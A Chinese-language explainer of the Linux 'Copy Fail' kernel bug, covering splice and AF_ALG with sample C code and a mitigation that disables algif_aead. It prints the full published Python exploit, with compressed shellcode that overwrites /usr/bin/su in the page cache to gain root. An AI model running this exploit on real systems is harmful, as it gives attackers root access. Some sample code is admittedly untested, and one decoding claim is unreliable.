已報告一個名為 Copy Fail(CVE-2026-31431)的漏洞。
AF_ALG 的 socket,或停用 algif-aead 模組echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
透過 splice 指令將可執行檔導入 AF_ALG socket 時,位於核心空間中、含有惡意命令的頁面快取指標會被帶入 AF_ALG。
在完成這個注入之後,名為 authencesn 的加密演算法在進行資料洗牌時,會發生一個未配置暫存區的 4 byte 覆寫。
這個 4 byte 的覆寫通常不會造成問題,但藉由 splice,可以讓它與上述頁面快取(核心區域)對齊。
splice 指令通常是用來透過 pipe 在檔案描述符之間直接搬運資料。
例如,一般來說,若要從檔案讀出資料並原封不動寫入另一個檔案,通常會寫出如下程式碼(這是讓生成式 AI 隨便寫的,並未實際驗證動作)
#include <stdio.h>
#include <stdlib.h>
int main() {
FILE *fp_in, *fp_out;
char buf[4096];
size_t n;
// 以讀取模式開啟輸入檔
fp_in = fopen("input.txt", "rb");
if (fp_in == NULL) {
perror("無法開啟 input.txt");
return EXIT_FAILURE;
}
// 以寫入模式開啟輸出檔
fp_out = fopen("output.txt", "wb");
if (fp_out == NULL) {
perror("無法建立 output.txt");
fclose(fp_in);
return EXIT_FAILURE;
}
// 每次讀取 4096 位元組,並將讀到的內容寫出
// fread 會回傳讀取到的元素數,因此會重複執行直到回傳 0
while ((n = fread(buf, 1, sizeof(buf), fp_in)) > 0) {
if (fwrite(buf, 1, n, fp_out) < n) {
perror("寫入時發生錯誤");
break;
}
}
// 關閉檔案
fclose(fp_in);
fclose(fp_out);
printf("複製完成。\n");
return EXIT_SUCCESS;
}
像這樣就需要在使用者空間中準備一個 buffer,也就是會在程序內使用記憶體。splice 可以讓這個流程更有效率。試著寫一個從 input.txt 讀取資料並輸出到 stdout 的程式。
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
int main() {
int fd_in = open("input.txt", O_RDONLY);
if (fd_in < 0) {
perror("open input.txt");
return 1;
}
// splice 需要其中一端是 pipe,因此先建立 pipe
int pipefd[2];
if (pipe(pipefd) < 0) {
perror("pipe");
return 1;
}
// 1. 檔案 -> pipe(頁面快取的參照進入 pipe)
ssize_t spliced = splice(fd_in, NULL, pipefd[1], NULL, 4096, SPLICE_F_MOVE);
if (spliced < 0) {
perror("splice 1");
return 1;
}
// 2. pipe -> 標準輸出(實際輸出)
// 在 Copy Fail 中,這裡不是流向標準輸出,而是流向 AF_ALG socket
if (splice(pipefd[0], NULL, STDOUT_FILENO, NULL, spliced, SPLICE_F_MOVE) < 0) {
perror("splice 2");
return 1;
}
close(fd_in);
close(pipefd[0]);
close(pipefd[1]);
return 0;
}
中途建立的 pipe,建議可以參考相關文章。
splice 的詳細規格如下所示。
使用 buffer 的程式在複製時,流程如下:
fread,資料會從頁面快取複製到使用者空間的 bufferfwrite,資料會從第 2 步的 buffer 再次複製到核心空間的寫入區域使用 splice 時,第 2、3 步會被省略,而第 1 步到第 4 步之間傳遞的不是資料複製,而是「頁面快取的參照」。因此,整個過程不會發生任何資料複製。
AF_ALG 是 Kernel Crypto API,原本是讓使用者空間能夠使用核心所提供的高速加密引擎的機制。
以下以 AES-CBC 模式的加密為例。
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
int main() {
int tfmfd, opfd;
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "skcipher", // 指定對稱式金鑰加密
.salg_name = "cbc(aes)" // 指定演算法
};
// 1. 建立 AF_ALG socket
tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(tfmfd, (struct sockaddr *)&sa, sizeof(sa));
// 2. 設定加密金鑰(例:16 位元組的 "secretpassword12")
unsigned char key[16] = "secretpassword12";
setsockopt(tfmfd, SOL_ALG, ALG_SET_KEY, key, 16);
// 3. 建立請求 socket(實際處理用)
opfd = accept(tfmfd, NULL, 0);
// 4. 設定 IV(初始向量)與加密旗標
unsigned char iv[16] = {0}; // 實際上應使用隨機值
// ALG_SET_IV 的資料格式為 struct af_alg_iv { __u32 ivlen; __u8 iv[]; }
char cbuf[CMSG_SPACE(sizeof(__u32)) +
CMSG_SPACE(sizeof(struct af_alg_iv) + sizeof(iv))];
struct msghdr msg = {0};
struct cmsghdr *cmsg;
msg.msg_control = cbuf;
msg.msg_controllen = sizeof(cbuf);
// 指定加密(ALG_OP_ENCRYPT)
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_OP;
cmsg->cmsg_len = CMSG_LEN(sizeof(__u32)); // ← 必須設定
*((__u32 *)CMSG_DATA(cmsg)) = ALG_OP_ENCRYPT;
// 設定 IV
cmsg = CMSG_NXTHDR(&msg, cmsg); // 如果 cmsg_len 不正確,這裡會變成 NULL
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_IV;
cmsg->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + sizeof(iv));
struct af_alg_iv *alg_iv = (struct af_alg_iv *)CMSG_DATA(cmsg);
alg_iv->ivlen = sizeof(iv);
memcpy(alg_iv->iv, iv, sizeof(iv));
// 5. 傳送資料(會從使用者記憶體複製到核心)
struct iovec iov;
char plaintext[] = "Hello AF_ALG!!!"; // 需要對齊到 16 位元組邊界
iov.iov_base = plaintext;
iov.iov_len = 16;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
sendmsg(opfd, &msg, 0);
// 6. 接收加密結果
char ciphertext[16];
read(opfd, ciphertext, 16);
printf("Encrypted data received successfully.\n");
for (int i = 0; i < 16; i++) {
printf("%08x ", ciphertext[i]);
}
printf("\n");
close(opfd);
close(tfmfd);
return 0;
}
執行結果:
$ ./a.out
Encrypted data received successfully.
ffffffa6 ffffffcb 0000002c 00000078 0000004f ffffffc3 ffffffd5 00000034 ffffffce ffffff9b 00000038 ffffffa4 00000046 ffffffc6 00000045 0000007b
從這段產生出的密文中,平文是可以還原的(雖然需要去掉每個字元前面的 6 個字元)。

發布的 payload 如下所示。
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
c(f, t, c) 函式是將引數 c 作為 authencesn 的 payload(要覆寫的部分),實際寫入 f 的頁面快取區域的函式。裡面可以看到像是 "authencesn(hmac(sha256),cbc(aes))" 以及 r,w=g.pipe();n=g.splice; 這類處理。
以 78da... 開頭的部分是 shellcode。解讀後內容如下。
其內容只有 setuid(0)、execve("/bin/sh", NULL, NULL) 以及 exit(0)。
這些就是作為 c(f, t, c) 的 payload 部分 c 傳入。
這段 shellcode 一般來說即使執行,也會因為 setuid(0) 權限不足而失敗。
但在上述 payload 中,這段 shellcode 被寫入到載入 /usr/bin/su 後的記憶體中,也就是頁面快取的開頭。結果就是 su 指令會暫時被這段 shellcode 取代。
ls -l /usr/bin/su 的結果中會看到 -rwsr-xr-x 1 root root,其中 rws 表示 SUID。也就是說,無論是誰執行,都會以 root 權限執行(正常情況下應該會要求密碼等驗證,但這裡已被 shellcode 取代),因此就能取得 root 權限。